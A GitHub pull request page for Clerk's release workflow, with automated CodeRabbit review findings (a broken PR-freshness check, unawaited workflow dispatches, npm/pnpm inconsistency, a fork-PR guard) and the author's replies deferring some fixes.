new Date(undefined) produces Invalid Date, and Invalid Date > commentCreated evaluates to false unconditionally (NaN comparison). The core.setFailed on line 253 is therefore never reached regardless of how stale the PR is, defeating the entire staleness check.

Fix
-            const prLastUpdated = new Date(pr.updated_at);
+            const prLastUpdated = new Date(pr.data.updated_at);
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/release.yml around lines 244 - 253, The PR freshness guard
is using pr.updated_at which is undefined because Octokit responses put payload
under .data; update the logic in the github.rest.pulls.get handling (the pr
variable and prLastUpdated calculation) to read pr.data.updated_at, parse it
safely into a Date, and guard against invalid dates (e.g., if pr.data.updated_at
is missing or new Date(...) is invalid) so that the comparison with
commentCreated behaves correctly and core.setFailed is invoked when the PR is
newer than the comment.

Copy link
Contributor Author

@dominic-clerk dominic-clerk Feb 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will address in a future PR, the issue pre-dates this PR

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@dominic-clerk, understood! Since this will be addressed later, would you like me to create an issue to track this bug fix?

Comment on lines +278 to +291
- name: Version packages for snapshot
id: version-packages
run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"

- name: Build release
if: steps.version-packages.outputs.success == '1'
run: npx turbo build $TURBO_ARGS

- name: Snapshot release
if: steps.version-packages.outputs.success == '1'
run: npm run release:snapshot
env:
NPM_CONFIG_PROVENANCE: true

Copy link
Contributor

@coderabbitai coderabbitai bot Feb 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Snapshot job uses npm/npx while the rest of the workflow uses pnpm.

Lines 280, 284, and 288 use npm run and npx turbo, inconsistent with the canary-release and release jobs which use pnpm turbo / pnpm release:canary. In a pnpm workspace, running scripts via npm run may fail to resolve workspace-linked packages correctly.

🛠️ Proposed fix
-        run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"
+        run: pnpm version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"
-        run: npx turbo build $TURBO_ARGS
+        run: pnpm turbo build $TURBO_ARGS
-        run: npm run release:snapshot
+        run: pnpm release:snapshot
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Version packages for snapshot
id: version-packages
run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"
- name: Build release
if: steps.version-packages.outputs.success == '1'
run: npx turbo build $TURBO_ARGS
- name: Snapshot release
if: steps.version-packages.outputs.success == '1'
run: npm run release:snapshot
env:
NPM_CONFIG_PROVENANCE: true
- name: Version packages for snapshot
id: version-packages
run: pnpm version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"
- name: Build release
if: steps.version-packages.outputs.success == '1'
run: pnpm turbo build $TURBO_ARGS
- name: Snapshot release
if: steps.version-packages.outputs.success == '1'
run: pnpm release:snapshot
env:
NPM_CONFIG_PROVENANCE: true
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/release.yml around lines 278 - 291, The snapshot job steps
use npm/npx instead of pnpm which breaks workspace resolution; update the step
with id version-packages (step name "Version packages for snapshot") to invoke
the script via pnpm (pnpm run version-packages:snapshot ...) and change the
"Build release" step to run turbo via pnpm (pnpm turbo $TURBO_ARGS) and the
"Snapshot release" step to run the release script via pnpm (pnpm run
release:snapshot), ensuring the same env (NPM_CONFIG_PROVENANCE) is preserved.

Copy link
Contributor Author

@dominic-clerk dominic-clerk Feb 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will address in a future PR, the issue pre-dates this PR

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@dominic-clerk, sounds good! Feel free to ping me if you need any help when you address this in the future PR.

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

♻️ Duplicate comments (4)
.github/workflows/release.yml (4)

243-255: ⚠️ Potential issue | 🟠 Major

PR freshness guard reads the wrong field and never fires.
github.rest.pulls.get returns { data: ... }, so pr.updated_at is undefined and the comparison is a no-op.

🛠️ Fix payload access
-            const pr = await github.rest.pulls.get({
+            const { data: pr } = await github.rest.pulls.get({
               owner: 'clerk',
               repo: 'javascript',
               pull_number: context.issue.number,
             });
 
             const prLastUpdated = new Date(pr.updated_at);
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/release.yml around lines 243 - 255, The freshness check is
using pr.updated_at but github.rest.pulls.get returns an object with the payload
on the data field, so pr.updated_at is undefined; update the code that calls
github.rest.pulls.get (or its result handling) to read the timestamp from the
returned data (e.g., use pr.data.updated_at or destructure the response to const
{ data: pr } = await github.rest.pulls.get(...)) and then compare new
Date(pr.updated_at) against the comment creation time before calling
core.setFailed to ensure the guard actually fires.

66-105: ⚠️ Potential issue | 🟠 Major

Await downstream workflow dispatches to avoid dropped triggers.
Unawaited createWorkflowDispatch calls can be lost when the script exits. This was already flagged; it’s still present in both release and canary scripts.

✅ Suggested fix (apply in both scripts)
-            github.rest.actions.createWorkflowDispatch({
-              owner: 'clerk',
-              repo: 'sdk-infra-workers',
-              workflow_id: 'update-pkg-versions.yml',
-              ref: 'main',
-              inputs: { clerkjsVersion, clerkUiVersion }
-            })
-
-            github.rest.actions.createWorkflowDispatch({
-              owner: 'clerk',
-              repo: 'dashboard',
-              workflow_id: 'prepare-nextjs-sdk-update.yml',
-              ref: 'main',
-              inputs: { version: nextjsVersion }
-            }) 
-
-            github.rest.actions.createWorkflowDispatch({
-              owner: 'clerk',
-              repo: 'clerk-docs',
-              workflow_id: 'typedoc.yml',
-              ref: 'main',
-            })
+            await Promise.all([
+              github.rest.actions.createWorkflowDispatch({
+                owner: 'clerk',
+                repo: 'sdk-infra-workers',
+                workflow_id: 'update-pkg-versions.yml',
+                ref: 'main',
+                inputs: { clerkjsVersion, clerkUiVersion }
+              }),
+              github.rest.actions.createWorkflowDispatch({
+                owner: 'clerk',
+                repo: 'dashboard',
+                workflow_id: 'prepare-nextjs-sdk-update.yml',
+                ref: 'main',
+                inputs: { version: nextjsVersion }
+              }),
+              github.rest.actions.createWorkflowDispatch({
+                owner: 'clerk',
+                repo: 'clerk-docs',
+                workflow_id: 'typedoc.yml',
+                ref: 'main',
+              }),
+            ]);
-            github.rest.actions.createWorkflowDispatch({
-              owner: 'clerk',
-              repo: 'sdk-infra-workers',
-              workflow_id: 'update-pkg-versions.yml',
-              ref: 'main',
-              inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha }
-            })
-
-            if (nextjsVersion.includes('canary')) {
-              console.log('clerk/nextjs changed, will notify clerk/accounts');
-              github.rest.actions.createWorkflowDispatch({
-                owner: 'clerk',
-                repo: 'accounts',
-                workflow_id: 'release-staging.yml',
-                ref: 'main',
-                inputs: { version: nextjsVersion }
-              })
-            }
+            const dispatches = [
+              github.rest.actions.createWorkflowDispatch({
+                owner: 'clerk',
+                repo: 'sdk-infra-workers',
+                workflow_id: 'update-pkg-versions.yml',
+                ref: 'main',
+                inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha }
+              }),
+            ];
+
+            if (nextjsVersion.includes('canary')) {
+              console.log('clerk/nextjs changed, will notify clerk/accounts');
+              dispatches.push(
+                github.rest.actions.createWorkflowDispatch({
+                  owner: 'clerk',
+                  repo: 'accounts',
+                  workflow_id: 'release-staging.yml',
+                  ref: 'main',
+                  inputs: { version: nextjsVersion }
+                })
+              );
+            }
+
+            await Promise.all(dispatches);

Also applies to: 167-197

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/release.yml around lines 66 - 105, The three
github.rest.actions.createWorkflowDispatch calls inside the script block (the
preMode check) are not awaited and can be dropped when the action exits; modify
the script to await each createWorkflowDispatch (or collect the returned
promises and await Promise.all) so the workflow waits for those dispatch
requests to complete before exiting—apply the same fix in both the release and
canary workflow script blocks where createWorkflowDispatch is used and reference
the preMode check to locate the correct section.

279-289: ⚠️ Potential issue | 🟡 Minor

Use pnpm for snapshot scripts to match workspace tooling.
Mixing npm/npx with a pnpm workspace can break resolution; align with the rest of the workflow.

🔧 Suggested replacements
-        run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"
+        run: pnpm version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"
-        run: npx turbo build $TURBO_ARGS
+        run: pnpm turbo build $TURBO_ARGS
-        run: npm run release:snapshot
+        run: pnpm release:snapshot
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/release.yml around lines 279 - 289, Replace npm/npx
invocations with pnpm workspace-safe commands: in the "Version packages for
snapshot" step (id: version-packages) call pnpm -w run version-packages:snapshot
${{ steps.extract-snapshot-name.outputs.name }} and append its last line to
GITHUB_OUTPUT; in the "Build release" step replace npx turbo build $TURBO_ARGS
with pnpm -w exec turbo build $TURBO_ARGS (so turbo runs in the pnpm workspace);
and in the "Snapshot release" step call pnpm -w run release:snapshot instead of
npm run release:snapshot to keep all commands using pnpm.

210-234: ⚠️ Potential issue | 🔴 Critical

Block snapshot runs on fork PRs before checkout.
A Clerk member can trigger !snapshot on a fork PR, which then checks out and runs untrusted code with privileged tokens. Add a fork guard before checkout.

🔒 Suggested guard step
       - name: Limit action to Clerk members
         uses: actions/github-script@v7
         with:
           result-encoding: string
           retries: 3
           retry-exempt-status-codes: 400,401
           github-token: ${{ secrets.CLERK_COOKIE_PAT }}
           script: |
             try {
               await github.rest.orgs.checkMembershipForUser({
                 org: 'clerk',
                 username: context.actor
               });
             } catch (e) {
               core.setFailed(`@${context.actor} is not a member of the Clerk organization`);
             }
+
+      - name: Guard against fork PRs
+        uses: actions/github-script@v7
+        with:
+          github-token: ${{ github.token }}
+          script: |
+            const { owner, repo } = context.repo;
+            const { data: pr } = await github.rest.pulls.get({
+              owner, repo, pull_number: context.issue.number,
+            });
+            if (pr.head.repo.full_name !== pr.base.repo.full_name) {
+              core.setFailed('Snapshots are restricted to branches within clerk/javascript (no forks).');
+            }
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/release.yml around lines 210 - 234, The workflow currently
runs untrusted steps on forked PRs before checkout; add an explicit fork guard
that aborts for forked PRs before the "Checkout repo" step. Add a new step
(e.g., "Abort on forked PR") placed before "Checkout repo" that checks
github.event.pull_request.head.repo.fork (or use context:
github.event.pull_request.head.repo.fork) and calls core.setFailed when true so
the job stops for forks; ensure this guard runs before the existing "Limit
action to Clerk members" / "Checkout repo" steps so no privileged tokens are
exposed to forked code.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Duplicate comments:
In @.github/workflows/release.yml:
- Around line 243-255: The freshness check is using pr.updated_at but
github.rest.pulls.get returns an object with the payload on the data field, so
pr.updated_at is undefined; update the code that calls github.rest.pulls.get (or
its result handling) to read the timestamp from the returned data (e.g., use
pr.data.updated_at or destructure the response to const { data: pr } = await
github.rest.pulls.get(...)) and then compare new Date(pr.updated_at) against the
comment creation time before calling core.setFailed to ensure the guard actually
fires.
- Around line 66-105: The three github.rest.actions.createWorkflowDispatch calls
inside the script block (the preMode check) are not awaited and can be dropped
when the action exits; modify the script to await each createWorkflowDispatch
(or collect the returned promises and await Promise.all) so the workflow waits
for those dispatch requests to complete before exiting—apply the same fix in
both the release and canary workflow script blocks where createWorkflowDispatch
is used and reference the preMode check to locate the correct section.
- Around line 279-289: Replace npm/npx invocations with pnpm workspace-safe
commands: in the "Version packages for snapshot" step (id: version-packages)
call pnpm -w run version-packages:snapshot ${{
steps.extract-snapshot-name.outputs.name }} and append its last line to
GITHUB_OUTPUT; in the "Build release" step replace npx turbo build $TURBO_ARGS
with pnpm -w exec turbo build $TURBO_ARGS (so turbo runs in the pnpm workspace);
and in the "Snapshot release" step call pnpm -w run release:snapshot instead of
npm run release:snapshot to keep all commands using pnpm.
- Around line 210-234: The workflow currently runs untrusted steps on forked PRs
before checkout; add an explicit fork guard that aborts for forked PRs before
the "Checkout repo" step. Add a new step (e.g., "Abort on forked PR") placed
before "Checkout repo" that checks github.event.pull_request.head.repo.fork (or
use context: github.event.pull_request.head.repo.fork) and calls core.setFailed
when true so the job stops for forks; ensure this guard runs before the existing
"Limit action to Clerk members" / "Checkout repo" steps so no privileged tokens
are exposed to forked code.

ℹ️ Review info

Configuration used: Repository YAML (base), Organization UI (inherited)

Review profile: CHILL

Plan: Pro

Disabled knowledge base sources:

  • Linear integration is disabled

You can enable these sources in your CodeRabbit configuration.

📥 Commits

Reviewing files that changed from the base of the PR and between 2b41a74 and 38b3481.

📒 Files selected for processing (1)
  • .github/workflows/release.yml

@dominic-clerk
Copy link
Contributor Author

Hey @nikosdouvlis 👋 This is a big one but it's mostly code being moved around. I'd appreciate your review and perspective on if the move to a single file would break anything that I didn't catch.

If you think this could work we'll merge and monitor closely and revert if we must.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant